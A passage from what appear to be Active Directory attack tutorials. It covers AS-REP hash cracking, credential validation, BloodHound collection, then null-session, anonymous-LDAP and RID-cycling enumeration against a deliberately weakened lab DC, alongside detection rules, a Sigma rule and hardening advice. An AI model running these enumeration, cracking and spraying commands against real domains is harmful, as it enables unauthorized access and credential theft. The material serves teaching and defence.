The $krb5asrep$23$ prefix is hashcat mode 18200 (Kerberos 5 AS-REP, etype 23). Throw a wordlist at it.

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8:Pa55w0rd!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9...c4d8
Time.Started.....: Sun Jun 30 14:35:12 2024 (4 secs)
Recovered........: 1/1 (100.00%) Digests
Speed.#1.........:  1843.2 MH/s (5.21ms)

John the Ripper works equally well:

john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD5 HMAC-SHA1 ...])
Pa55w0rd!        ($krb5asrep$svc_backup@CORPLAB.LOCAL)
1g 0:00:00:02 DONE (2024-06-30 14:36) 0.4761g/s ...
Use the "--show" option to display all of the cracked passwords reliably

svc_backup:Pa55w0rd! recovered. The lesson the brief hammers, and the reason hardening matters: if svc_backup had used a genuinely strong password, this RC4 blob would be effectively uncrackable by wordlist. Disabling pre-auth is dangerous, but a long random password makes the resulting hash worthless to an attacker.

Validate and pivot

Confirm the harvested credential works over SMB before building anything on it. NetExec (the maintained successor to CrackMapExec) is the cleanest check.

nxc smb 192.168.56.10 -u jsmith -p 'Summer2024!' -d corplab.local
SMB  192.168.56.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corplab.local) (signing:True) (SMBv1:False)
SMB  192.168.56.10  445  DC01  [+] corplab.local\jsmith:Summer2024!

The [+] confirms a valid authenticated session. Now you have an authenticated foothold, which unlocks full directory enumeration. Feed it straight into BloodHound to map attack paths.

bloodhound-python -u jsmith -p 'Summer2024!' -d corplab.local \
  -dc 192.168.56.10 -c All
INFO: Found AD domain: corplab.local
INFO: Connecting to LDAP server: DC01.corplab.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 14 computers
INFO: Connecting to GC LDAP server: DC01.corplab.local
INFO: Found 28 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Dumping data for domain corplab.local
INFO: Done in 00M 12S

You walked from zero credentials to a validated account, a cracked service hash, and a full graph of the domain. That is the entire point of starting with enumeration: every confirmed username compounds.


Illustration of a broken padlock with a glowing key emerging, symbolising offline AS-REP hash cracking
AS-REP roasting cracks credentials entirely offline – once the hash is captured, the domain controller is never contacted again.

8. Traffic Analysis

Understanding what Kerbrute puts on the wire makes both red-team OPSEC and blue-team detection concrete. Capture port 88 while a userenum run is live.

sudo tcpdump -i eth0 -w kerb_enum.pcap 'udp port 88 or tcp port 88'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C
2143 packets captured
2151 packets received by filter

Open the capture in Wireshark and isolate the KDC error responses. A Kerberos error message is msg_type 30 (KRB-ERROR), and the error_code field is the oracle.

# Wireshark display filter: all PRINCIPAL_UNKNOWN responses (invalid users)
kerberos.msg_type == 30 && kerberos.error_code == 6

A burst of error_code == 6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP, hundreds per second, is the unmistakable signature of username enumeration. Switch the filter to spot the valid hits:

# Valid accounts that required pre-auth (the 0x19 responses)
kerberos.msg_type == 30 && kerberos.error_code == 25
# Pre-auth-disabled accounts: a full AS-REP instead of an error
kerberos.msg_type == 11

msg_type 11 is AS-REP. Seeing a real AS-REP returned to an unauthenticated requester means an account with pre-auth disabled just leaked a roastable hash. On a Zeek sensor the same signal lives in kerberos.log, where error_msg == "PRINCIPAL_UNKNOWN" at high rate from one id.orig_h is the detection trigger.


9. Common Attacker Techniques

TechniqueDescription
AS-REQ username enumerationDifferentiate 0x6 vs 0x19 to validate accounts with no credentials and no lockout risk
AS-REP hash harvestingCapture full AS-REP for DONT_REQ_PREAUTH accounts during enumeration, crack offline
AS-REP roastingUse harvested $krb5asrep$23$ hashes with hashcat mode 18200 or John
Kerberos password sprayingSubmit one common password across the confirmed user list via passwordspray
Encryption downgradeForce RC4 with --downgrade so captured material uses the faster-cracking etype 23
Pivot to KerberoastingOnce authenticated, request service tickets for SPN accounts and crack those offline

The chain is what makes this dangerous, not any single step. Enumeration feeds spraying and roasting, which feed an authenticated foothold, which feeds BloodHound and Kerberoasting. Each link is cheap and quiet on its own.


10. Defensive Strategies and Detection

Detection here is entirely about the domain controller, because the attack never touches an endpoint until the pivot. The good news is the DC sees every AS-REQ. The catch is that the most useful event is off by default.

Relevant Event IDs (on the Domain Controller)

Event IDTriggerRelevance
4768TGT requested or granted (AS exchange)Fires on AS-REQ; watch a single source requesting TGTs for many distinct or non-existent users
4771Kerberos pre-authentication failedCarries the failure code, target username, client IP; the primary enumeration and spray signal
4625Generic NTLM logon failureDoes not fire for Kerberos enumeration; do not rely on it here

Event 4771 is disabled by default. Without it you are blind to the enumeration. Enable it through Group Policy:

Computer Configuration
  -> Windows Settings
    -> Security Settings
      -> Advanced Audit Policy Configuration
        -> Account Logon
          -> Audit Kerberos Authentication Service: Success and Failure

Failure-code correlation

The Failure Code field in Event 4771 is the same oracle the attacker reads, only from the defender’s side:

  • A cluster of 0x6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP in a short window is username enumeration. Real users do not generate PRINCIPAL_UNKNOWN storms.
  • A cluster of 0x18 (KDC_ERR_PREAUTH_FAILED) across many distinct TargetUserName values from one source is password spraying.

Sigma rule

title: Kerberos Username Enumeration via AS-REQ
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4771
    FailureCode: '0x6'          # KDC_ERR_C_PRINCIPAL_UNKNOWN
  timeframe: 30s
  condition: selection | count() by IpAddress > 20
fields:
  - EventID
  - TargetUserName
  - IpAddress
  - IpPort
  - FailureCode
  - PreAuthType
falsepositives:
  - Misconfigured applications cycling usernames
level: medium
tags:
  - attack.discovery
  - attack.t1087.002

Pair it with a second rule keyed on FailureCode: '0x18' grouped by distinct TargetUserName per source IP to catch the spray phase.

Endpoint and network telemetry

There is no direct Kerberos AS-REQ event in Sysmon because the protocol is network-level. You can still catch the tool with Sysmon Event ID 3 (Network Connection) when a non-DC host opens connections to port 88 from an unexpected process. On the network side, a Zeek sensor alerting on kerberos.log where error_msg == "PRINCIPAL_UNKNOWN" exceeds a per-source rate threshold gives you protocol-level coverage independent of Windows auditing. The underlying ETW provider for 4768/4771 is Microsoft-Windows-Security-Auditing.

Hardening

MitigationDescription
Enable pre-auth everywhereClear DONT_REQ_PREAUTH on all accounts; audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Enable Kerberos auditingTurn on Audit Kerberos Authentication Service (Success + Failure) to generate 4771
Rate-limit port 88Segment and rate-limit KDC ports (around 10 requests/sec/source) at the firewall
Deploy canary accountsAny AS-REQ for a never-used honeypot username is a high-fidelity alert
Enforce strong passwordsLong random passwords make harvested AS-REP and Kerberoast hashes practically uncrackable
SIEM correlationAlert on >20 0x6 failures per source in 30s, and on 0x18 across many users per source

The single most important fix is closing the DONT_REQ_PREAUTH gap, because that is what converts harmless enumeration into a crackable credential. Pre-auth has been the default since Kerberos v5; any account missing it is a deliberate or accidental misconfiguration.


Illustration of a watchtower scanning a network, representing domain controller audit logging and SIEM alerting on Kerberos anomalies
Detection lives entirely on the domain controller – enabling Event 4771 and correlating error-code bursts is the only way to see username enumeration before it pivots to a spray.

11. Tools for Kerberos Attack Analysis

ToolDescriptionLink
KerbruteAS-REQ username enumeration, spray, brute via gokrb5github.com/ropnop/kerbrute
NetExecValidate credentials and enumerate SMB/LDAPgithub.com/Pennyw0rth/NetExec
HashcatCrack AS-REP hashes with mode 18200hashcat.net
John the RipperCrack krb5asrep hashesopenwall.com/john
BloodHoundMap AD attack paths post-footholdbloodhound.specterops.io
WiresharkDissect AS-REQ/AS-REP and KDC error codeswireshark.org
ZeekNetwork-level Kerberos logging (kerberos.log)zeek.org
nmapConfirm KDC, port 88, domain bannernmap.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.002Event 4771 0x6 clusters per source IP; Zeek PRINCIPAL_UNKNOWN rate
Brute Force: Password SprayingT1110.003Event 4771 0x18 across many users from one source
Brute Force: Password GuessingT1110.001Repeated 0x18 against a single account; rising badPwdCount
Steal or Forge Kerberos Tickets: AS-REP RoastingT1558.004AS-REP (msg_type 11) returned to unauthenticated client; audit DONT_REQ_PREAUTH
Steal or Forge Kerberos Tickets: KerberoastingT1558.003Spike in 4769 TGS requests for RC4 service tickets post-foothold

Summary

  • Kerberos pre-authentication is an account-existence oracle: the KDC answers 0x6 for unknown users and 0x19 for valid ones, so anyone who can reach port 88 can enumerate the domain with no credentials.
  • userenum does not validate credentials, so it never increments badPwdCount and never locks accounts, and it bypasses Event 4625 entirely.
  • Accounts with the DONT_REQ_PREAUTH bit (0x400000) return a full AS-REP during enumeration, handing the attacker a $krb5asrep$23$ hash to crack offline with hashcat mode 18200.
  • The active modes (passwordspray, bruteuser, bruteforce) submit real pre-auth attempts and will lock accounts; use --safe and respect the lockout threshold.
  • Detect it on the DC with Event 4771 (enable it first via Advanced Audit Policy), correlating 0x6 bursts for enumeration and 0x18 spreads for spraying, and shut the door by clearing DONT_REQ_PREAUTH and enforcing strong passwords.

Related Tutorials

References

Anonymous and Null-Session Enumeration: SMB, LDAP Anonymous Binds, and RID Cycling

You drop onto an internal subnet with a laptop, a network jack, and zero credentials. No phished password, no hash, nothing. Most beginners assume the engagement stalls right there. It doesn’t. A surprising number of domains will happily hand you their full user roster, group memberships, password policy, and share layout before you ever type a username. This is the quiet first move of nearly every internal assessment, and it leans on three primitives that have shipped with Windows since the NT days.

Objective: Understand precisely why SMB null sessions, LDAP anonymous binds, and RID cycling exist; how they chain together to turn zero credentials into a validated domain username list; how to reproduce all three against a controlled lab DC; and how a defender detects and eliminates every step.


1. Background: Why Unauthenticated Enumeration Still Works

Windows NT 4.0 and Windows 2000 were built on an assumption that internal networks were trusted. To let machines coordinate without a user logged in, the OS exposed an unauthenticated channel: the null session. A null session is an SMB connection to the hidden IPC$ share carrying empty credentials. Over that channel, services queried each other through MSRPC named pipes: who’s in this group, what’s the password policy, which shares exist. It was convenient and, for the threat model of 1999, acceptable.

It is not acceptable now, and Microsoft knows it. Windows Server 2003 changed LDAP so only authenticated users could issue directory requests. Server 2016 and later restrict null sessions out of the box. So why does this tutorial still matter? Because domains are upgraded, not rebuilt. A forest that started life on Server 2003 carries its legacy settings forward through every in-place upgrade. Add a vendor appliance that “requires anonymous LDAP,” a backup product that wants null-session share access, or an admin who flipped RestrictAnonymous to fix a printer in 2011 and never reverted it, and the old behavior is right back.

The intelligence you harvest from these channels is exactly what the next phase of an attack needs:

Harvested DataWhat It Enables
Domain SID and domain nameRID cycling, SID history forgery groundwork
Full username listPassword spraying, AS-REP roasting
Group membershipIdentifying Domain Admins, service-account owners
Password policy (lockout threshold, min length)Spray rate that avoids lockout
description fieldsPlaintext passwords and hints admins leave behind
Share listLoot hunting, GPP cpassword files

Enumeration is not a footnote before the “real” attack. It is the attack surface, and it shapes every decision that follows.


2. Lab Setup: Intentionally Vulnerable AD Target

Build this in isolated lab networking (host-only or an internal vSwitch). Never apply these settings to a domain that touches anything real.

Topology:

HostRoleAddress
DC01Windows Server 2022, domain lab.local10.10.10.10
kaliKali Linux 2024.x attacker10.10.10.50

Promote DC01 to a domain controller for lab.local, then deliberately re-enable the legacy behavior. Run this in an elevated PowerShell on the DC:

# Re-open anonymous access (DO NOT do this outside a lab)
$lsa = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $lsa -Name RestrictAnonymous       -Value 0 -Type DWord
Set-ItemProperty -Path $lsa -Name RestrictAnonymousSAM    -Value 0 -Type DWord
Set-ItemProperty -Path $lsa -Name EveryoneIncludesAnonymous -Value 1 -Type DWord

# Allow anonymous SID/Name translation (needed for RID cycling)
# GPO: Network access: Allow anonymous SID/Name translation -> Enabled
# (no output on success; verify with)
PS C:\> Get-ItemProperty $lsa | Select RestrictAnonymous,RestrictAnonymousSAM,EveryoneIncludesAnonymous

RestrictAnonymous RestrictAnonymousSAM EveryoneIncludesAnonymous
----------------- -------------------- -------------------------
                0                    0                         1

Enable LDAP anonymous bind by setting the 7th character of dsHeuristics to 2. Use ldifde from an elevated prompt on the DC:

# anonymousenum.ldf — set dsHeuristics char 7 to 2 (0000002 = positions 1-7)
@"
dn: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=lab,DC=local
changetype: modify
replace: dsHeuristics
dsHeuristics: 0000002
-
"@ | Out-File anonymousenum.ldf -Encoding ascii
ldifde -i -f anonymousenum.ldf
Connecting to "DC01.lab.local"
Logging in as current user using SSPI
Importing directory from file "anonymousenum.ldf"
Loading entries.
1 entry modified successfully.
The command has completed successfully

Finally, populate the domain so enumeration returns something interesting: ten-plus users, groups for IT, HR, and Service Accounts, and at least one service account whose description holds a password hint. That last detail is not contrived; it is one of the most common real-world findings.

New-ADUser -Name "svc_sql" -SamAccountName svc_sql -Enabled $true `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Description "SQL service acct - temp pw Summer2024! rotate by Q3" `
  -Path "OU=ServiceAccounts,DC=lab,DC=local"

3. The IPC$ Named Pipe and SMB Null Session Internals

To exploit a null session you should understand what actually happens on the wire. SMB connection setup is a negotiation followed by a session setup followed by a tree connect.

  1. Negotiate Protocol – client and server agree on a dialect (SMB2/3).
  2. Session Setup – the client authenticates. In a null session, the client sends a SESSION_SETUP with an anonymous NTLMSSP token, no username, no password. The server issues an access token tied to the ANONYMOUS LOGON SID (S-1-5-7).
  3. Tree Connect – the client connects to a share. For a null session that share is IPC$.

IPC$ is special. It is not a disk share. It is the named-pipe filesystem, the doorway to MSRPC. Once connected to IPC$, a client opens a named pipe such as \PIPE\samr and binds to the RPC interface behind it. Each pipe fronts a different protocol:

Named PipeProtocolKey Calls Used in This Tutorial
\PIPE\samrMS-SAMRSamrEnumerateDomainsInSamServer, SamrEnumerateUsersInDomain, SamrLookupIdsInDomain, SamrRidToSid
\PIPE\lsarpcMS-LSADLsarQueryInformationPolicy, LsarLookupSids
\PIPE\srvsvcMS-SRVSNetShareEnum

When you run rpcclient enumdomusers, the client opens \PIPE\samr, calls SamrConnect, then SamrEnumerateDomainsInSamServer, SamrLookupDomainInSamServer, SamrOpenDomain, and finally SamrEnumerateUsersInDomain. The whole exchange happens with the anonymous token. Whether the server fulfills it depends entirely on the registry gates:

Registry ValueEffect
RestrictAnonymous = 0Open; full anonymous enumeration
RestrictAnonymous = 1Blocks most named enumeration, but some Win32 APIs still leak
RestrictAnonymous = 2Denies all anonymous IPC$ access (can break legacy apps)
RestrictAnonymousSAM = 1Specifically blocks anonymous SAM enumeration
EveryoneIncludesAnonymous = 1Anonymous token inherits Everyone-group access
NullSessionPipes / NullSessionSharesExplicit allow-lists that punch holes through restrictions

The critical takeaway: RestrictAnonymous=1 is not a complete fix. Even with it set, the SID/Name translation path (LsarLookupSids over \PIPE\lsarpc) can stay open if “Allow anonymous SID/Name translation” is enabled, which is exactly what makes RID cycling survive partial hardening.


Flowchart showing an anonymous SMB session setup connecting to IPC$ and branching into three named pipes: SAMR, LSARPC, and SRVSVC, each returning domain enumeration data
A single null session to IPC$ opens three MSRPC named pipes, each exposing a different slice of domain intelligence.

4. Recon: Confirming the Attack Surface

Before touching any enumeration tooling, confirm which doors are even open. A port scan tells you whether SMB and LDAP are reachable.

nmap -sV -p 139,445,389,636,3268,3269 10.10.10.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.10.10
Host is up (0.0011s latency).

PORT     STATE SERVICE       VERSION
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: lab.local)
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: lab.local)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: lab.local)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: lab.local)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Ports 445 and 389 open on a host advertising Domain: lab.local says “domain controller.” Now confirm the null session actually works. NetExec (the maintained fork of CrackMapExec, invoked as nxc) is the fastest check.

nxc smb 10.10.10.10 -u '' -p ''
SMB  10.10.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True) (SMBv1:False)
SMB  10.10.10.10  445  DC01  [+] lab.local\: (Guest)

That [+] with an empty username is the green light: the server accepted an anonymous SMB session. Now test LDAP anonymous bind by reading the rootDSE, the one entry every DC exposes to anyone.

ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectClass=*)" \
  defaultNamingContext domainFunctionality dnsHostName ldapServiceName
# extended LDIF
dn:
defaultNamingContext: DC=lab,DC=local
dnsHostName: DC01.lab.local
ldapServiceName: lab.local:dc01$@LAB.LOCAL
domainFunctionality: 7

# search result
search: 2
result: 0 Success

-x forces simple authentication, and with no -D (bind DN) and no password it is an anonymous bind. Getting result: 0 Success and real attributes back means anonymous LDAP is wide open. The defaultNamingContext value, DC=lab,DC=local, is the base DN you will feed into every subsequent search. Reading rootDSE works even on hardened DCs, so it alone does not prove a misconfiguration; the next section’s user queries are the real proof.


5. Hands-On: SMB Null Session Enumeration

Start with shares. smbclient -L lists them over the null session (-N = no password, -U "" = empty user).

smbclient -N -U "" -L //10.10.10.10
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
        Backups         Disk      Nightly SQL exports
SMB1 disabled -- no workgroup available

A non-default share like Backups is worth a look later. For now, the prize is the RPC enumeration. Drop into an interactive rpcclient session over the null session and walk the SAMR and LSARPC calls by hand.

rpcclient -N -U "" 10.10.10.10
rpcclient $> lsaquery
Domain Name: LAB
Domain Sid: S-1-5-21-1004336348-1177238915-682003330

lsaquery issues LsarQueryInformationPolicy(PolicyAccountDomainInformation) over \PIPE\lsarpc. That domain SID, S-1-5-21-1004336348-1177238915-682003330, is the most valuable single string you will collect today. Hold onto it for Phase 4. Keep enumerating in the same session:

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[jsmith] rid:[0x44f]
user:[asmith] rid:[0x450]
user:[bwilliams] rid:[0x451]
user:[svc_sql] rid:[0x452]
user:[svc_backup] rid:[0x453]
user:[mjohnson] rid:[0x454]
user:[rpatel] rid:[0x455]
user:[lchen] rid:[0x456]
user:[helpdesk] rid:[0x457]

enumdomusers runs SamrEnumerateUsersInDomain. RIDs are shown in hex: 0x1f4 = 500 (Administrator), 0x1f6 = 502 (krbtgt), and the first real user jsmith is 0x44f = 1103. Continue with groups and policy:

rpcclient $> enumdomgroups
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[IT] rid:[0x458]
group:[HR] rid:[0x459]
group:[Service Accounts] rid:[0x45a]
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000001
        DOMAIN_PASSWORD_COMPLEX

getdompwinfo returns the password policy through SAMR. A minimum length of 7 with complexity on tells a sprayer that Welcome1 or Summer2024! are policy-valid guesses. Now the shares via \PIPE\srvsvc:

rpcclient $> netshareenum
netname: ADMIN$
        remark: Remote Admin
netname: Backups
        remark: Nightly SQL exports
netname: IPC$
        remark: Remote IPC
netname: NETLOGON
        remark: Logon server share
netname: SYSVOL
        remark: Logon server share

Doing this by hand teaches the protocol; doing it at scale calls for automation. enum4linux-ng orchestrates every one of these RPC calls and parses the output.

enum4linux-ng -A 10.10.10.10
 ====================================
|    Domain Information via RPC      |
 ====================================
[+] Domain: LAB
[+] SID: S-1-5-21-1004336348-1177238915-682003330
[+] Host is part of a domain (not a workgroup)

 ====================================
|       Users via RPC on 10.10.10.10 |
 ====================================
[+] Found 12 user(s) via 'enumdomusers'
'1103': {'username': 'jsmith',     'description': ''}
'1106': {'username': 'svc_sql',    'description': 'SQL service acct - temp pw Summer2024! rotate by Q3'}
'1107': {'username': 'svc_backup', 'description': 'backup runner'}
...
 ====================================
|   Password Policy via RPC          |
 ====================================
[+] Minimum password length: 7
[+] Password complexity: Enabled
[+] Lockout threshold: 5
[+] Lockout duration: 30 minutes

There it is: svc_sql with temp pw Summer2024! sitting in its description, plus the lockout threshold (5) that bounds any spray. NetExec covers the same ground with module flags, which is handy for piping into other tooling:

nxc smb 10.10.10.10 -u '' -p '' --users
SMB  10.10.10.10  445  DC01  [+] lab.local\: (Guest)
SMB  10.10.10.10  445  DC01  -Username-      -Last PW Set-      -BadPW- -Description-
SMB  10.10.10.10  445  DC01  Administrator   2024-01-12 09:14   0       Built-in admin
SMB  10.10.10.10  445  DC01  krbtgt          2024-01-10 22:01   0       Key Distribution Center
SMB  10.10.10.10  445  DC01  jsmith          2024-02-03 11:42   0
SMB  10.10.10.10  445  DC01  svc_sql         2024-02-03 11:45   0       SQL service acct - temp pw Summer2024! rotate by Q3
SMB  10.10.10.10  445  DC01  [*] Enumerated 12 domain users
nxc smb 10.10.10.10 -u '' -p '' --pass-pol
SMB  10.10.10.10  445  DC01  [+] Dumping password info for domain: LAB
SMB  10.10.10.10  445  DC01  Minimum password length: 7
SMB  10.10.10.10  445  DC01  Password history length: 24
SMB  10.10.10.10  445  DC01  Account Lockout Threshold: 5
SMB  10.10.10.10  445  DC01  Account Lockout Duration: 30 minutes

6. LDAP Anonymous Bind Internals

SMB’s SAMR path is one route to the same data; LDAP is the other, and it is richer. Active Directory is an LDAP directory. Every user, group, computer, and policy object lives in the directory tree, and LDAP queries read those objects directly.

An LDAP conversation begins with a BINDRequest. For an anonymous bind, the request carries an empty name (no DN) and authentication: simple with a zero-length password. The server replies with a BindResponse; resultCode 0 means it accepted you as an anonymous principal. After that comes the SearchRequest, which specifies a base DN, a scope (base, one, or sub), a filter like (objectClass=user), and the attributes to return.

LDAP exposes more than SAMR because it surfaces every attribute on the object, not just the SAM view. Two attributes deserve special attention:

AttributeWhy It Matters
userAccountControlBitmask describing account state
msDS-SupportedEncryptionTypes0 implies RC4-only, an AS-REP roast candidate

The userAccountControl (UAC) bitmask is the attacker’s filter for finding weak accounts:

FlagHexMeaning
ADS_UF_ACCOUNTDISABLE0x2Account disabled (skip it)
ADS_UF_LOCKOUT0x10Currently locked out
ADS_UF_NORMAL_ACCOUNT0x200Standard user
ADS_UF_DONT_REQ_PREAUTH0x400000No Kerberos pre-auth, AS-REP roastable
ADS_UF_PASSWORD_EXPIRED0x800000Password expired

The presence of anonymous LDAP at all is gated by dsHeuristics. When character 7 of that attribute is 2, the directory permits anonymous binds with read access. Default since Server 2003 is to deny it. We flipped it on in the lab; in the wild you find it flipped on because an application demanded it years ago.


7. Hands-On: LDAP Anonymous Bind Enumeration

Confirm anonymous binds return real objects, not just rootDSE. Search the domain naming context for any object and ask only for the DN.

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" "(objectClass=*)" dn | head -n 20
dn: DC=lab,DC=local
dn: CN=Users,DC=lab,DC=local
dn: CN=Administrator,CN=Users,DC=lab,DC=local
dn: CN=Guest,CN=Users,DC=lab,DC=local
dn: CN=krbtgt,CN=Users,DC=lab,DC=local
dn: OU=ServiceAccounts,DC=lab,DC=local
dn: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local

Objects came back without credentials, so this is a genuine anonymous-read misconfiguration. Now pull users with the attributes that matter. Note the description field again.

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
  "(objectClass=user)" sAMAccountName userPrincipalName description userAccountControl memberOf
dn: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local
sAMAccountName: svc_sql
userPrincipalName: svc_sql@lab.local
description: SQL service acct - temp pw Summer2024! rotate by Q3
userAccountControl: 66048
memberOf: CN=Service Accounts,DC=lab,DC=local

dn: CN=jsmith,CN=Users,DC=lab,DC=local
sAMAccountName: jsmith
userPrincipalName: jsmith@lab.local
userAccountControl: 66048

dn: CN=helpdesk,CN=Users,DC=lab,DC=local
sAMAccountName: helpdesk
userPrincipalName: helpdesk@lab.local
userAccountControl: 4260352

Decode the UAC values. 66048 = 0x10200 = NORMAL_ACCOUNT | DONT_EXPIRE_PASSWORD. The helpdesk account at 4260352 = 0x410200 includes 0x400000 (DONT_REQ_PREAUTH), which marks it AS-REP roastable. You found a Kerberos-roastable account with no credentials at all. Enumerate groups to map privilege:

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
  "(objectClass=group)" cn member
dn: CN=Domain Admins,CN=Users,DC=lab,DC=local
cn: Domain Admins
member: CN=Administrator,CN=Users,DC=lab,DC=local
member: CN=asmith,CN=Users,DC=lab,DC=local

dn: CN=Service Accounts,DC=lab,DC=local
cn: Service Accounts
member: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local
member: CN=svc_backup,OU=ServiceAccounts,DC=lab,DC=local

asmith is a Domain Admin. That is a target. Enumerate computers for the lateral-movement map:

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
  "(objectClass=computer)" dNSHostName operatingSystem
dn: CN=DC01,OU=Domain Controllers,DC=lab,DC=local
dNSHostName: DC01.lab.local
operatingSystem: Windows Server 2022 Standard

dn: CN=SQL01,CN=Computers,DC=lab,DC=local
dNSHostName: SQL01.lab.local
operatingSystem: Windows Server 2019 Standard

windapsearch (use the Go build) wraps these searches into named modules:

windapsearch -d lab.local --dc 10.10.10.10 -m users --full
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.10
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=lab,DC=local
[+] Anonymous bind successful
[+] Enumerating all AD users
[+] Found 12 users:

cn: svc_sql
sAMAccountName: svc_sql
description: SQL service acct - temp pw Summer2024! rotate by Q3
...
[+] Found 12 users

For programmatic work, ldap3 in Python gives you the same anonymous bind in a few lines, which you can extend into a custom collector.

from ldap3 import Server, Connection, ALL, SUBTREE

srv = Server('10.10.10.10', port=389, get_info=ALL)
conn = Connection(srv, auto_bind=True)   # empty creds => anonymous bind
conn.search('DC=lab,DC=local',
            '(objectClass=user)',
            search_scope=SUBTREE,
            attributes=['sAMAccountName', 'description', 'memberOf'])
for entry in conn.entries:
    print(entry.sAMAccountName, '|', entry.description)
Administrator | Built-in admin
krbtgt | Key Distribution Center Service Account
jsmith |
svc_sql | SQL service acct - temp pw Summer2024! rotate by Q3
svc_backup | backup runner
helpdesk |

NetExec’s LDAP module is the quick path, and --password-not-required plus its roast flags surface weak accounts directly:

nxc ldap 10.10.10.10 -u '' -p '' --users
LDAP  10.10.10.10  389  DC01  [+] lab.local\: (anonymous bind)
LDAP  10.10.10.10  389  DC01  [*] Total records returned: 12
LDAP  10.10.10.10  389  DC01  svc_sql        SQL service acct - temp pw Summer2024! rotate by Q3
LDAP  10.10.10.10  389  DC01  helpdesk

8. RID Cycling Internals

What if enumdomusers is blocked but SID/Name translation is still allowed? That is the common half-hardened state, and it is exactly where RID cycling shines.

Every security principal in a domain has a SID of the form:

S-1-5-21-<sub1>-<sub2>-<sub3>-<RID>

The S-1-5-21-1004336348-1177238915-682003330 portion is the domain SID, identical for every account in the domain. The final number, the RID (Relative Identifier), uniquely identifies the principal within that domain. Built-in principals have fixed, well-known RIDs:

RIDPrincipal
500Administrator
501Guest
502krbtgt
512Domain Admins (group)
513Domain Users (group)
514Domain Guests (group)
515Domain Computers (group)
516Domain Controllers (group)

User and group accounts created after install begin at RID 1000 and increment. So the attack is mechanical: take the known domain SID, append RID 500, 501, 502, … up through some ceiling like 2000, and ask the DC to translate each full SID back into a name. The DC answers through LsarLookupSids (MS-LSAD) or SamrLookupIdsInDomain (MS-SAMR).

Why does this bypass RestrictAnonymous=1? Because the SID/Name translation interface is governed by the separate “Allow anonymous SID/Name translation” policy. Block bulk enumeration all you want; if translation stays open, an attacker rebuilds the entire roster one RID at a time. That separation is the crux of why RID cycling is so resilient.


Flow diagram showing the RID cycling process: the known domain SID has incrementing RID values appended, each sent as a LsarLookupSids request to the DC, which returns either a username or unknown
RID cycling reconstructs the full account roster one SID-to-name translation at a time, bypassing bulk enumeration restrictions.

9. Hands-On: RID Cycling

You already have the domain SID from lsaquery. Confirm it once more non-interactively:

rpcclient -N -U "" 10.10.10.10 -c "lsaquery"
Domain Name: LAB
Domain Sid: S-1-5-21-1004336348-1177238915-682003330

Now cycle RIDs by hand. The loop appends each RID to the domain SID and calls lookupsids, filtering out the misses.

for rid in $(seq 500 1200); do
  rpcclient -N -U "" 10.10.10.10 \
    -c "lookupsids S-1-5-21-1004336348-1177238915-682003330-${rid}" \
    2>/dev/null | grep -v "unknown"
done
S-1-5-21-1004336348-1177238915-682003330-500 LAB\Administrator (1)
S-1-5-21-1004336348-1177238915-682003330-501 LAB\Guest (1)
S-1-5-21-1004336348-1177238915-682003330-502 LAB\krbtgt (1)
S-1-5-21-1004336348-1177238915-682003330-512 LAB\Domain Admins (2)
S-1-5-21-1004336348-1177238915-682003330-513 LAB\Domain Users (2)
S-1-5-21-1004336348-1177238915-682003330-1103 LAB\jsmith (1)
S-1-5-21-1004336348-1177238915-682003330-1104 LAB\asmith (1)
